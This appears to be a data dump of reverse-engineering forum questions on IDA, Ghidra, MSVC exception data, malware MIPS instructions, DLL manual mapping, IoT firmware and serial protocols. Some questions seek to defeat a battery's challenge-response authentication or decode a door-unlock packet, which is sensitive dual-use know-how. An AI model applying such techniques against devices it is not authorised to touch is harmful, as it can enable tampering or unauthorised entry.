+ +What's catchHigh - is it always tryHigh + 1? + +OK It seems the catchHigh is continuing the state inside the catch block - because you can have exception there too. But still I don't see it's purpose - like when this field makes any difference. +" +['ida']," Title: Ida pro: recompilable c codeBody: Is it possible to produce recompilable C code using IDA pro? + +What I mean: + +I can export binary into C pseudocode using ""produce file"" feature. But, the code is not recompilable. First, defs.h file is not present (I don't know if this comes with my ida pro license). I assume this file has all the typedefs, etc. I can use something like defs.h. Then I can fix definitions by removing or replacing ""__fastcall"" and ""__noreturn"" (I just added #define __fastcall to ignore this) (I don't if any other replacements required). And remove functions like _gmon_start__, etc. Then I can include required libraries. + +Is there a way to all automate this (or is there an elegant way to do this)? +" +"['x86', 'decompilation', 'seh', 'msvc']"," Title: What code produces FuncInfoV1 with zero TryBlocks and zero UnwindMap?Body: Topic is C++ exceptions internal representation in WIndows x86 binaries compiled with msvc. + +I've found a code that straight up doesn't have nothing (all fields of FuncInfo zero) except the EHFlags set to 5. + +Here is the dissasembly: + +
.text:00407010 ; Attributes: bp-based frame
+.text:00407010
+.text:00407010 ; int __cdecl std::_Deallocate<8,0>(void *block, unsigned int __formal)
+.text:00407010 ??$_Deallocate@$07$0A@@std@@YAXPAXI@Z proc near
+.text:00407010                                         ; CODE XREF: std::_Deallocate<8,0>(void *,uint)↑j
+.text:00407010
+.text:00407010 var_C           = dword ptr -0Ch
+.text:00407010 block           = dword ptr  8
+.text:00407010 __formal        = dword ptr  0Ch
+.text:00407010
+.text:00407010 ; FUNCTION CHUNK AT .text:00458370 SIZE 0000001B BYTES
+.text:00407010
+.text:00407010 ; __unwind { // ??$_Deallocate@$07$0A@@std@@YAXPAXI@Z_SEH
+.text:00407010                 push    ebp
+.text:00407011                 mov     ebp, esp
+.text:00407013                 push    0FFFFFFFFh
+.text:00407015                 push    offset ??$_Deallocate@$07$0A@@std@@YAXPAXI@Z_SEH
+.text:0040701A                 mov     eax, large fs:0
+.text:00407020                 push    eax
+.text:00407021                 mov     eax, ___security_cookie
+.text:00407026                 xor     eax, ebp
+.text:00407028                 push    eax
+.text:00407029                 lea     eax, [ebp+var_C]
+.text:0040702C                 mov     large fs:0, eax
+.text:00407032                 cmp     [ebp+__formal], 1000h
+.text:00407039                 jb      short loc_40704B
+.text:0040703B                 lea     eax, [ebp+__formal]
+.text:0040703E                 push    eax             ; unsigned int *
+.text:0040703F                 lea     ecx, [ebp+block]
+.text:00407042                 push    ecx             ; void **
+.text:00407043                 call    j_?_Adjust_manually_vector_aligned@std@@YAXAAPAXAAI@Z ; std::_Adjust_manually_vector_aligned(void * &,uint &)
+.text:00407048                 add     esp, 8
+.text:0040704B
+.text:0040704B loc_40704B:                             ; CODE XREF: std::_Deallocate<8,0>(void *,uint)+29↑j
+.text:0040704B                 mov     edx, [ebp+__formal]
+.text:0040704E                 push    edx             ; __formal
+.text:0040704F                 mov     eax, [ebp+block]
+.text:00407052                 push    eax             ; block
+.text:00407053                 call    j_??3@YAXPAXI@Z ; operator delete(void *,uint)
+.text:00407058                 add     esp, 8
+.text:0040705B                 mov     ecx, [ebp+var_C]
+.text:0040705E                 mov     large fs:0, ecx
+.text:00407065                 pop     ecx
+.text:00407066                 mov     esp, ebp
+.text:00407068                 pop     ebp
+.text:00407069                 retn
+.text:00407069 ; } // starts at 407010
+.text:00407069 ??$_Deallocate@$07$0A@@std@@YAXPAXI@Z endp
+
+ +And the FuncInfo data is: + +
FuncInfo <19930522h, 0, 0, 0, 0, 0, 0, 0, 5>
+
+ +Here is the code snippet straight up from CRT source files(xmemory): + +
//template <size_t _Align>
+void _Deallocate(void* _Ptr, size_t _Bytes) noexcept {
+    // deallocate storage allocated by _Allocate when !_HAS_ALIGNED_NEW || _Align <= __STDCPP_DEFAULT_NEW_ALIGNMENT__
+#if defined(_M_IX86) || defined(_M_X64)
+    if (_Bytes >= std::_Big_allocation_threshold) { // boost the alignment of big allocations to help autovectorization
+        std::_Adjust_manually_vector_aligned(_Ptr, _Bytes);
+    }
+#endif // defined(_M_IX86) || defined(_M_X64)
+
+    ::operator delete(_Ptr, _Bytes);
+}
+
+ +I tried tinkering with it and I found that that the main cause for the weird FuncInfo in that case is the call to std::_Adjust_manually_vector_aligned which is defined in the same file as: + +
// FUNCTION TEMPLATE _Adjust_manually_vector_aligned
+inline void _Adjust_manually_vector_aligned(void*& _Ptr, size_t& _Bytes) {
+    // adjust parameters from _Allocate_manually_vector_aligned to pass to operator delete
+    _Bytes += _Non_user_size;
+
+    const uintptr_t* const _Ptr_user = reinterpret_cast<uintptr_t*>(_Ptr);
+    const uintptr_t _Ptr_container   = _Ptr_user[-1];
+
+    // If the following asserts, it likely means that we are performing
+    // an aligned delete on memory coming from an unaligned allocation.
+    _STL_ASSERT(_Ptr_user[-2] == _Big_allocation_sentinel, ""invalid argument"");
+
+    // Extra paranoia on aligned allocation/deallocation; ensure _Ptr_container is
+    // in range [_Min_back_shift, _Non_user_size]
+#ifdef _DEBUG
+    constexpr uintptr_t _Min_back_shift = 2 * sizeof(void*);
+#else // ^^^ _DEBUG ^^^ // vvv !_DEBUG vvv
+    constexpr uintptr_t _Min_back_shift = sizeof(void*);
+#endif // _DEBUG
+    const uintptr_t _Back_shift = reinterpret_cast<uintptr_t>(_Ptr) - _Ptr_container;
+    _STL_VERIFY(_Back_shift >= _Min_back_shift && _Back_shift <= _Non_user_size, ""invalid argument"");
+    _Ptr = reinterpret_cast<void*>(_Ptr_container);
+}
+
+ +This is far as I went into this. +" +"['ida', 'disassembly', 'malware', 'mips']"," Title: Malware attempting to move a value into $zero in MIPS?Body: Recently I have been trying to reverse engineer an IoT malware called NyaDrop using IDA. There I came across this mysterious assignment a few times. +addiu $zero, 0xA +as well as move $at, $at + +Both instructions seem to be just redundant but I feel like they are there for a reason. Does anyone have any idea what that reason is? My guess is that is trying to avoid an emulated MIPS perhaps? Because it would error on an emulated MIPS but will just be discarded in a real one. Not sure, however. + +Here is a snippet from the disassembly of nyaDrop that is particularly confusing. + +
addiu   $zero, 0xA
+move    $at, $at
+move    $at, $at
+//end of malware
+
+
+" +"['hardware', 'usb', 'dongle']"," Title: Misterious USB dongleBody: I have this USB stick that seems to have a slot for a SIM and for a SD card. I don't know nothing else about this module. Searching the codes on internet I didn't find anything. + + + + +How could I find something out about this? And maybe use it in some way? + +EDIT: +It is recognized by the operative system (lsusb output Bus 001 Device 009: ID 0b3c:c003 Olivetti Techcenter) + +And the kernel logs are: + +
[ 5956.949288] usb 1-1.2: new high-speed USB device number 8 using ehci-pci
+[ 5956.981766] usb 1-1.2: New USB device found, idVendor=0b3c, idProduct=f000, bcdDevice= 0.00
+[ 5956.981773] usb 1-1.2: New USB device strings: Mfr=3, Product=2, SerialNumber=4
+[ 5956.981778] usb 1-1.2: Product: HSPA Data Card
+[ 5956.981781] usb 1-1.2: Manufacturer: USBModem
+[ 5956.981785] usb 1-1.2: SerialNumber: 1234567890ABCDEF
+[ 5956.984482] usb-storage 1-1.2:1.0: USB Mass Storage device detected
+[ 5956.984793] scsi host4: usb-storage 1-1.2:1.0
+[ 5958.011311] scsi 4:0:0:0: Direct-Access     USBModem MMC Storage      2.31 PQ: 0 ANSI: 2
+[ 5958.012120] scsi 4:0:0:1: CD-ROM            USBModem MMC Storage      2.31 PQ: 0 ANSI: 2
+[ 5958.013018] scsi 4:0:0:0: Attached scsi generic sg2 type 0
+[ 5958.018397] sr 4:0:0:1: [sr1] scsi-1 drive
+[ 5958.019526] sd 4:0:0:0: [sdb] Attached SCSI removable disk
+[ 5958.020236] sr 4:0:0:1: Attached scsi CD-ROM sr1
+[ 5958.020807] sr 4:0:0:1: Attached scsi generic sg3 type 5
+[ 5958.323118] usb 1-1.2: USB disconnect, device number 8
+[ 5958.545345] usb 1-1.2: new high-speed USB device number 9 using ehci-pci
+[ 5958.577667] usb 1-1.2: New USB device found, idVendor=0b3c, idProduct=c003, bcdDevice= 0.00
+[ 5958.577674] usb 1-1.2: New USB device strings: Mfr=3, Product=2, SerialNumber=4
+[ 5958.577678] usb 1-1.2: Product: HSPA Data Card
+[ 5958.577682] usb 1-1.2: Manufacturer: USBModem
+[ 5958.577685] usb 1-1.2: SerialNumber: 1234567890ABCDEF
+[ 5958.580800] option 1-1.2:1.0: GSM modem (1-port) converter detected
+[ 5958.581066] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB0
+[ 5958.581601] option 1-1.2:1.1: GSM modem (1-port) converter detected
+[ 5958.582001] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB1
+[ 5958.582423] option 1-1.2:1.2: GSM modem (1-port) converter detected
+[ 5958.582890] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB2
+[ 5958.583337] option 1-1.2:1.3: GSM modem (1-port) converter detected
+[ 5958.583616] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB3
+[ 5958.583812] usb-storage 1-1.2:1.4: USB Mass Storage device detected
+[ 5958.586890] scsi host4: usb-storage 1-1.2:1.4
+[ 5958.587195] option 1-1.2:1.5: GSM modem (1-port) converter detected
+[ 5958.587354] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB4
+[ 5959.610911] scsi 4:0:0:0: Direct-Access     USBModem MMC Storage      2.31 PQ: 0 ANSI: 2
+[ 5959.611878] sd 4:0:0:0: Attached scsi generic sg2 type 0
+[ 5959.619357] sd 4:0:0:0: [sdb] Attached SCSI removable disk
+
+" +['decompiler']," Title: Decompiling tools for ""Old"" exe files?Body: I heard about dnSpy or ILSpy for decompiling .net files. + +But how about those files that was NOT written by .net!? + +Probably those files previous to XP. + +Is there any tools to decompile it to, preferably, C#!? + +Much appreciated! +" +"['disassembly', 'decompilation', 'ghidra']"," Title: Fixing ghidra decompilationBody:
+i am working a little bit with Ghidra. +My assembly code doesn't match with the decompiled code: + +
                             *                          FUNCTION                          *
+                             **************************************************************
+                             undefined __stdcall CalCrc8(undefined4 param_1, int para
+                               assume LRset = 0x0
+                               assume TMode = 0x1
+             undefined         r0:1           <RETURN>
+             undefined4        r0:4           param_1
+             int               r1:4           param_2
+             int               r2:4           param_3
+                             CalCrc8                                         XREF[2]:     Entry Point(*), 
+                                                                                          Frame_Cap:0005a2b8(c)  
+        00059dd8 05 4b           ldr        r3,[DAT_00059df0]                                = 0005F314h
+        00059dda 10 b5           push       { r4, lr }
+        00059ddc 8a 18           add        param_3,param_2,param_3
+        00059dde 7b 44           add        r3,pc
+        00059de0 03 e0           b          LAB_00059dea
+                             LAB_00059de2                                    XREF[1]:     00059dec(j)  
+        00059de2 11 f8 01 4b     ldrb.w     r4,[param_2],#0x1
+        00059de6 60 40           eor        param_1,r4
+        00059de8 18 5c           ldrb       param_1,[r3,param_1]=>Crc8Table               = 
+                             LAB_00059dea                                    XREF[1]:     00059de0(j)  
+        00059dea 91 42           cmp        param_2,param_3
+        00059dec f9 d1           bne        LAB_00059de2
+        00059dee 10 bd           pop        { r4, pc }
+                             DAT_00059df0                                    XREF[1]:     CalCrc8:00059dd8(R)  
+        00059df0 14 f3 05 00     undefined4 0005F314h                                        ?  ->  0005f314
+
+ +
void CalCrc8(undefined4 param_1,int param_2,int param_3)
+
+{
+  param_3 = param_2 + param_3;
+  while (param_2 != param_3) {
+    param_2 = param_2 + 1;
+  }
+  return;
+}
+
+ +The XOR (address 00059de6) and fetching the value from the CRC8Table is missing. +How do i fix the decompiled code? + +The architecture is ARM32v8. +" +"['firmware', 'embedded']"," Title: Unknown 160bit challenge-response (36V ebike battery protocol)Body: I'm currently trying to build a custom battery pack for an electric bike.
+The bike uses 36V batteries from Panasonic (also sold under OEM brands Victoria, Kalkhoff, Rahleigh, Flyer, Kettler). + +We've already established that the battery speaks a custom UART protocol with the bike and the charger.
+The protocol itself is easy to understand and we've already understood most of it.
+There seems to be some sort of challenge-response authentication, though. + +The packet format looks as follows: + +2 byte preamble (always 2x FF)
+1 byte length (not including preamble, length, command and checksum)
+1 byte command
+n byte payload data, varying length
+1 byte checksum = ((0x100 - sum of data bytes) & 0xFF) + +Example packets, charger sending Challenge-Response to battery:
+Q: FF FF 14 B2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3A
+R: FF FF 14 D2 F9 33 FF A6 C6 6B 39 26 EF 82 BB 6E DF 63 08 05 8E 96 96 D2 44 + +Q: FF FF 14 B2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39
+R: FF FF 14 D2 AE F8 49 86 53 4C 41 87 2D 67 CD 74 5D 91 5E 72 79 6A CD C4 37 + +Q: FF FF 14 B2 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 96
+R: FF FF 14 D2 58 3A EE ED C2 F5 C3 B3 95 72 F7 00 25 3A D7 4F 76 C1 2B 96 05 + +Q: FF FF 14 B2 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA F2
+R: FF FF 14 D2 AB 01 C4 32 24 1D EF 96 57 5E 7F F0 8A 67 E8 71 7D 16 E3 E6 E8 + +As you can see, there is a 20 byte / 160 bit code in the challenge as well as in the response.
+Single bit changes in the input lead to a completly different output. + +We have asked the real battery with a lot of different challenges and logged the results.
+Here is a .csv with ~200k challenge-response pairs:
+https://tbspace.de/content/downloads/flyer_challenges_consecutive.csv.zip
+(dump also contains shorter status information packets, these need to be ignored) + +Unfortunately the entropy of the resulting data seems to be 1.0, which doesn't look too good.
+Together with the 160bit data length, this might point to a cryptographic hash function like SHA1. + +The battery uses a Renesas M37512 8-bit microcontroller (seems to be based on the 6502). + +I'm out of ideas on how to figure out how this challenge-response system works.
+Any ideas and suggestions are appreciated. + +Thanks! +" +"['ida', 'unpacking']"," Title: IDA fails to recognize the new added segment during execution and seems to think its empty?Body: So i dumped a PE file after it was unpacked, but the problem is it references another section in the memory map, so i dumped that section and added it to IDA just like this question : + +IDA Pro - Load data in manually created segment + +and set the segment as read write, everything seems fine + +but it seems like the change is not reflected in the binary during execution, because even tho i can see the segment content and it seems fine, any instruction that tries to access this segment will raise an exception as if there is no segment there : + +456BAD: The instruction at 0x456BAD referenced memory at 0x19A650. The memory could not be read -> 0019A650 (exc.code c0000005, tid 756) + +but even during execution i can see that the content of the memory address 0x19A650 is fine, i think this might be because the binary is not changed or something, but how can i do that? tried saving patches or reloading the database and saving but didnt work! + +checked the segment access rights and its read write as well +" +"['python', 'decompile']"," Title: Decompiling .pyc file to 0 byte .py fileBody: i am doing the CTF-like challenges. One of these tasks need us to decompiling Python bytecode 3.8 (.pyc file) into py file. However, the py file that generated by pyc file is 0 byte +The original file's name is flag.py Here are my procedures. + +
    +
  1. Rename the file: flag.py -> flag.pyc
  2. +
  3. Use uncompyle6tool and type command: uncompyle6 flag.pyc > flag.py
  4. +
  5. It will generate flag.py file, however it is 0 byte. And after several hours, it is still 0 byte.
  6. +
  7. If i interrupt the command line tool by keyboard, the flag.py file will have the comment:
  8. +
+ +
 uncompyle6 version 3.6.6
+ Python bytecode 3.8 (3413)
+ Decompiled from: Python 3.8.0 
+ [GCC 4.2.1 Compatible Clang 4.0.1 (tags/RELEASE_401/final)]
+ Embedded file name: flag.o.py
+ Compiled at: 2020-04-24 16:09:51
+ Size of source mod 2**32: 2476187 bytes
+
+ +My environment is MacOS, Python 3.8.0. + +The .pyc file is small and I've already checked the magic number of the file's header, it is Python 3.8.0. +The unusual thing of this pyc file is that there are several thousands of ff 00 at the end of the file. + +
55 0d 0d 0a 00 00 00 00
+...
+ff 00 ff 00 ff 00 ff 00 
+...
+ff 00 ff 00 ff 00 ff 00 
+b9 01 0c 06 0a 01 08 01
+
+
+ +Any Suggestions? +" +"['windows', 'pe', 'file-format', 'dll-injection', 'api']"," Title: advapi32.dll changes name of function during forwarding of exportsBody: Im trying myself at writing a manual mapper, for injection of DLLs into other processes. + +Ive come to the point, where I've written a simple ""Hello World"" dll, that im trying to inject into another process. + +I have run into the problem, that my sample Hello world DLL relies on functions from the user32.dll, which means that i have to map that one too. The user32.dll relies in itself on other dll, which are among others imported via the API Set schema. + + + +Take a note of the excact naming of the imported function, that I marked: ""EventActivityIdControl"" + +As it turned out, the functions for this particular api are found in the advapi32.dll + +If I look at that dll in CFF explorer, lo and behold there are the correct exports + + +However, when I manually parse, the advapi32.dll and look at the exports, I get forwarded exports from ntdll.dll, with the prefix ""Ewt"", which messes up my string comparisons. + + +This prefix seems to be omitted by CFF explorer and other similar software. + +I cannot find any information about this behaviour/schema. Can anyone explain, why this is or where I can find out more about this? +" +"['ida', 'idapython', 'idapro-sdk', 'ida-plugin']"," Title: IDAPython: idaapi.get_highlight for demangled namesBody: I'm using the following code to get the address of the selected function/variable: + +
hightlight = idaapi.get_highlight(idaapi.get_current_viewer())
+screen_ea = idaapi.get_screen_ea()
+ea = idaapi.get_name_ea(screen_ea, name)
+
+ +It works like a charm except until you meet demangled name in IDA View :( + +For example, for this line + +
.text:00406744                 call    KBTickCount(void)
+
+ +idaapi.get_name_ea call would never return the proper address, because the real name is ?KBTickCount@@YIJXZ. + +I know that I can just change demangled names representation in IDA Pro, but I'm working on a public plugin and I'm thinking about end users. + +And I also want to make it work in Pseudocode view, where all names are demangled. + +Any ideas on how to get the address of the selected function/variable for a particular line? +" +['serial-communication']," Title: Reverse engineering 12-byte serial packets from doorbellBody: I'm trying to reverse engineer the protocol used by a fairly old video intercom. Using a UART logic analyser was able to guess the baud rate, data bits, start/stop bit. It idles at 14v and pulls to GND for 0. + +when I press the same sequence repeatedly of buttons I get the following bytes: + +
PREAMBLE (sent when waking up unit):
+0x02 0x16 0x10 0x10 0x10 0x10 0x10 0x10 0x11 0x11 0x18 0x03
+
+VIDEO ON:
+0x02 0x3c 0x31 0x09 0x38 0x25 0x11 0x6f 0x00 0x1e 0x71 0x03 0x02 0x3d 0x11 0x6f 0x00 0x1e 0x31 0x09 0x38 0x25 0x72 0x03
+
+MIC ON:
+0x02 0x4a 0x31 0x09 0x38 0x25 0x11 0x6f 0x00 0x1e 0x7f 0x03 0x02 0x4c 0x11 0x6f 0x00 0x1e 0x31 0x09 0x38 0x25 0x01 0x03
+
+UNLOCK DOOR:
+0x02 0x38 0x31 0x09 0x38 0x25 0x31 0x45 0x11 0x1e 0x74 0x03 0x02 0x3a 0x31 0x09 0x38 0x25 0x11 0x6f 0x00 0x1e 0x6f 0x03
+
+ +Does this appear to be a protocol standard of any kind of control system? + +EDIT: +Here is the best I could understand: +https://docs.google.com/spreadsheets/d/e/2PACX-1vQRyUafqa6CEMd9BOOyAWO4OKGXNKsGLvs6epR5PjqnqBRMbpWOqz2-ij51mFDz4lBUOcVSR7jxK505/pubhtml?gid=1867863786&single=true + +It seems as though the format is as follows: +BYTE1 = STX +BYTE2 = COMMAND +BYTE3,4,5,6 = SRC +BYTE7,8,9,10 = DST +BYTE11 = SUM of BYTE2 BYTE10 trimmed to 8-bit +" +"['disassembly', 'assembly', 'binary-analysis', 'firmware', 'mips']"," Title: Need some help and advices as regards as reverse engineering IoT devicesBody: Hi everyone,
I saw this video on youtube as regards as reversing IPTV cameras and finding security vulnerabilities: Black Hat 2013 - Exploiting Network Surveillance Cameras Like a Hollywood Hacker + +I have a basic knowledge of C, C++ and Python. + +I have some other questions related to this field:
+
    +
  1. I've seen that the speaker reverses CGI programs, is this the only filetype involved in reversing MIPS?
  2. +
  3. if someone who has a lot of experience could give me some advices on what to do, where to start, books to buy and courses I would be very very grateful;
  4. +
  5. the assembly code that I get disassembling a MIPS binary has something in common as the one I get when disassembling a x86 program? (I thought that I might learn first x86 assembly and then move on learning MIPS assembly since the former is much more covered on the internet and in textbooks);
  6. +
  7. I would like to know if there are ad-hoc crackmes (I can only find some related to x86 and x86_64) for MIPS architecture;
  8. +
  9. are routers and other IoT devices such as IPTV cameras and so on based exclusively on the MIPS architecture? Or there are other architectures as well?
  10. +
  11. what about obfuscated binaries, of course I don't want to rush and everything but I would like to know more;
  12. +
  13. if I decompile a MIPS firmware on my Intel-powered computer and let's say, in the future I buy an AMD-powered computer, the output of the disassembled program will be the same? With output I mean instruction names and so on;
  14. +
  15. I'm not trying to be a script kiddie but, from what I know, when talking about disassembling tools play a fundamental role. I've seen that IDA PRO is a good choice, however going to their webpage their price is just too much for a student, but there are other free alternatives such as Radare; the other night I tried to emulate a router's firmware using QEMU but I failed and I gave up; I hate copying and pasting things because you never learn anything and sometimes it doesn't work; are there some tools (other than Radare and Qemu) that may aid in reversing and disassembling MIPS firmware and related documentation?
  16. +
  17. last but not least, I'm not trying to be the ""hollywood hacker"" or be the ""bad guy"", I'm just trying to expand my knowledge.
  18. +
+ +I know that these questions might be completely dumb, but everyone has been there. I googled everything I could but there are a lot of things and I always get lost. Just to point out, it's not the first time that I try to do reversing in general but I always get demotivated given how hard it is so I though about asking here and getting some advice. + +Thanks for your time and everything! +" +"['firmware', 'firmware-analysis', 'flash']"," Title: How to dump firmware from an SD card?Body: I have an SD card that implements some strange Write-Once-Read-Many technology that I want to check the firmware of. I'm not new to reverse-engineering, but I've never dumped firmware from an SD card before. + +Any guidance on where to begin would be appreciated? +" +"['binary-analysis', 'elf', 'symbols', 'debugging-symbols']"," Title: dwarf: variable offset from baseBody: I have a simple code: + +
int main()
+{
+  int a = 4;
+  printf(""%d\n"", a);
+  a = 8;
+  if (a == 8)
+    printf(""%d\n"", a);
+  return 0;
+}
+
+ +DIEs for the function and variable: + +
 <1><32a>: Abbrev Number: 18 (DW_TAG_subprogram)
+    <32b>   DW_AT_external    : 1
+    <32b>   DW_AT_name        : (indirect string, offset: 0x19c): main
+    <32f>   DW_AT_decl_file   : 1
+    <330>   DW_AT_decl_line   : 4
+    <331>   DW_AT_decl_column : 5
+    <332>   DW_AT_type        : <0x63>
+    <336>   DW_AT_low_pc      : 0x4004b2
+    <33e>   DW_AT_high_pc     : 0x4b
+    <346>   DW_AT_frame_base  : 1 byte block: 9c        (DW_OP_call_frame_cfa)
+    <348>   DW_AT_GNU_all_tail_call_sites: 1
+ <2><348>: Abbrev Number: 19 (DW_TAG_variable)
+    <349>   DW_AT_name        : a
+    <34b>   DW_AT_decl_file   : 1
+    <34c>   DW_AT_decl_line   : 6
+    <34d>   DW_AT_decl_column : 7
+    <34e>   DW_AT_type        : <0x63>
+    <352>   DW_AT_location    : 2 byte block: 91 6c     (DW_OP_fbreg: -20)
+
+ +And objdump output for the same: + +
00000000004004b2 <main>:
+  4004b2:       55                      push   rbp
+  4004b3:       48 89 e5                mov    rbp,rsp
+  4004b6:       48 83 ec 10             sub    rsp,0x10
+  4004ba:       c7 45 fc 04 00 00 00    mov    DWORD PTR [rbp-0x4],0x4
+  4004c1:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
+  4004c4:       89 c6                   mov    esi,eax
+  4004c6:       bf 84 05 40 00          mov    edi,0x400584
+  4004cb:       b8 00 00 00 00          mov    eax,0x0
+  4004d0:       e8 db fe ff ff          call   4003b0 <printf@plt>
+  4004d5:       c7 45 fc 08 00 00 00    mov    DWORD PTR [rbp-0x4],0x8
+  4004dc:       83 7d fc 08             cmp    DWORD PTR [rbp-0x4],0x8
+  4004e0:       75 14                   jne    4004f6 <main+0x44>
+  4004e2:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
+  4004e5:       89 c6                   mov    esi,eax
+  4004e7:       bf 84 05 40 00          mov    edi,0x400584
+  4004ec:       b8 00 00 00 00          mov    eax,0x0
+  4004f1:       e8 ba fe ff ff          call   4003b0 <printf@plt>
+  4004f6:       b8 00 00 00 00          mov    eax,0x0
+  4004fb:       c9                      leave
+  4004fc:       c3                      ret
+  4004fd:       0f 1f 00                nop    DWORD PTR [rax]
+
+ +I am curious if detecting variable offset from ebp (assuming ebp is stack base and variable is on stack) is possible, by looking at debugging symbols. For e.g. in this case variable a is present at rbp-0x4. It looks like tag DW_AT_location could give me the location information. But, as per the dwarf documentation - 0x91 belongs to DW_OP_fbreg and 0x6C belongs to DW_AT_const_expr. I don't really get the meaning of this. I also read that DW_AT_frame_base gives the frame base of the function. + +I really appreciate any help. +" +"['assembly', 'c', 'ghidra']"," Title: Ghidra scripting get information from decompile windowBody: I am using Ghidra and when clicking for example in the decompile window on a specific raw, it change the cursor in the assembly window to the exact location in the assembly. Is there any option to do this using Ghidra scripting ? + +Thanks +" +"['protocol', 'usb']"," Title: Touch screen driver module - Determine comunication protocolBody: I have taken apart an old non-functional Lenovo IdeaCentre (B320) computer. + +I would like to get the glass touch panel to 'work' (I would consider anything from simply being able to sniff the x,y coordinates to be 'working'). + +There is a single cable coming from the glass, this cable plugs into a module. The module has only one other connection. This connection has four wires and is connected to the motherboard of the computer. The black and red wires are ground and 5V respectively, this I confirmed by powering on the computer and measuring. The remaining two wires are a mystery, they are (for what it's worth) brown and orange. + +Following the traces on the module, I can see they are connected to an STM32F102C6 (LQFP48). The two wires are connected to pin 32 (brown) and 33 (orange). I downloaded the datasheet for the MCU, from this I can see pin 32, 33 corresponds to PA11 and PA12 respectively. + +PA11 has the alternate function 'USART1_CTS/USB_DM' + +PA12 has the alternate function 'USART1_RTS/USB_DP' + +I did some googling and it seems that CTS and RTS are only used for data flow control, considering there are no other data wires I assumed the USB protocol is the most likely (even though the wire colors are not conventional to USB). I wired up a USB cable and plugged it into my computer and nothing happened (absolutely nothing). + +I'm stuck for ideas now. Could it be performing some kind of communication over the USART pin functions or possibly even some kind of bit-banged protocol over the GPIO's? Perhaps the module is dead and that's why the USB isn't detected by the computer. + +What further steps could I take to reverse engineer this module? + + + + +" +"['ida', 'disassembly', 'binary-analysis', 'firmware', 'hexrays']"," Title: How to reverse engineer Apple MacBook SMC update firmware image using IDA Pro 7.2?Body: Alright so I have watched extraordinary presentations videos from three different reverse engineers who hacked the Apple SMC Update firmware: + +Charlie Miller: +https://www.youtube.com/watch?v=_9ErnoLVxCA + +Alex Ionescu: +https://www.youtube.com/watch?v=nSqpinjjgmg&t=1164s + +ANDREA BARISANI & DANIELE BIANCO: +https://www.youtube.com/watch?v=4MBbMZ6M6Vw&list=PLPvhiAXwrC33Wv1zNC5uy1rrKO1JhlegM&index=6&t=2898s + +At github you can find the original "".smc"" firmware hex file and the extracted converted "".bin"" file: + +https://github.com/rajhlinux/smc + +If you watch these interesting videos you can see that they all clearly and easily hacked into the Apple SMC Update file. + +Alex Ionescu wrote a tool to extract the data from the Apple SMC update firmware file but he never made the tool available to the public, so I made my own tool that extracts the data from the ""2012MBA13.smc"" file. I basically extracted the hex data and converted it into Binary but IDA Pro just can't understand it. + +So my first question is, did I extract the correct lines of data from the ""2012MBA13.smc"" firmware file? + +Original ""2012MBA13.smc"" Firmware SMC file: + + + +Data extracted from the ""2012MBA13.smc"" firmware file: + + + +Extracted Hex Data converted to Binary: + + + +So I hope I extracted the correct data lines, a total of 1920 64-Bytes data lines. + +You can find all the details about the Apple Mid 2012 MacBook Air SMC's ARM Cortex M4F TI Stellaris LMFS 32Bit Microprocessor at the Github link above. + +IDA Pro, starting at address 0x0004, ""jump to operand"" at address 0x0251, but The least-significant bit of each vector must be 1, indicating that the exception handler is Thumb code, so at address at 0x0250 I press ""c"" on IDA pro and I only got three functions: + + + +So my Apple SMC firmware file is similar to Alex because I checked the strings and found the unlock password key. + +What am I doing wrong which IDA pro is not able to disassemble the bin file? +The ""List of problems"" which IDA pro is giving is the following: + +Address Type Instruction +ROM:0000024F NODISASM DCB 0 + +In IDA pro ""NODISASM"" means it can't disassemble the code. + +However I did disassemble the entire binary file using the ARM GDB, but that doesn't help much. I need to use IDA. +" +"['static-analysis', 'packers']"," Title: PE file export functions of packed fileBody: I am new to reverse engineering and I am learning about packed files. +I saw that most of the time I can recognize a packed file with a little number of import functions in PE file and not many strings but can the export functions in PE file can give me hint if a file been packed? +" +"['ida', 'static-analysis', 'ida-plugin']"," Title: Find functions signatures in Ida?Body: I didn't understand the subject of find function in Ida via signature. + +If I understand well that way helps to recognize libraries functions in static binary(in dynamic binary I can see the functions name) , and there is a database that contain lot of known functions with signatures, right? + +So how can I use that? Is that build-in in Ida? Or is there any plugin that I need to use? +" +"['windows', 'pe', 'dll']"," Title: How does an application identify a DLL fileBody: Sorry if this is a basic question, as I'm very new at this. + +I'm trying to get an .exe to load a dummy .dll. I've created an example .dll project in VC++ 2019, added the functions listed in the .exe's import table, made sure to declare extern ""C"" __declspec(dllexport), using a hex editor changed the ordinals in the import table to match the new .dll and made sure the filename matches. Still, when I run the .exe with this .dll in its folder, I get this kind of error message: + +
+ The procedure entry point MyFunction2 could not be located in the dynamic link library MyDll.dll +
+ +I've rechecked that I haven't missed any of the function names in the import table, and that none of the function names in the .dll got mangled. Are the offsets for functions entry points in the .dll file hardcoded in the PE format? What am I missing that could cause the application to reject the .dll? + +Edit: The program doesn't import LoadLibrary, CreateProcess, ShellExecute nor any other functions I know which handle processes and libraries. +" +"['ida', 'arm', 'ios']"," Title: finding specific string in ios dyld_shared_cacheBody: Im trying to find the library inside a dyld cache that contains a specific string. +I grepped the cache file and for the offset of the string, however when im throwing the cache file to ida non of the libraries match the specific offset. +how can i find which library include that string without analyzing 1gb file ? +thanks! +" +"['firmware', 'ghidra']"," Title: Help in reverse engineering cheap chinese drone wifi camera moduleBody: Hello I have an camera module of cheap wifi drone and want to reverse engineer it , but the on searching the ic number on it I couldn't find it.It has an UART and i tried connecting to usb to uart but on opening the serial monitor nothing shows up, but on opening the app with which it works i.e WifiUfo I can see the footage of the camera .I did an nmap scan from my linux system for the open ports but there are no tcp ports open.But there are two udp ports open.Can somebody please point me in the right direction of reverse engineering it? +P.S I am fairly new to reverse engineering +" +['ghidra']," Title: Is it possible to define an array of variable size in Ghidra (size in the struct itself)Body: I have a struct that holds an array (and other elements), and one of the elements is actually the size of the array. Is there a way to define a struct like that in Ghidra? + +
16          | Size of array is 0x16 
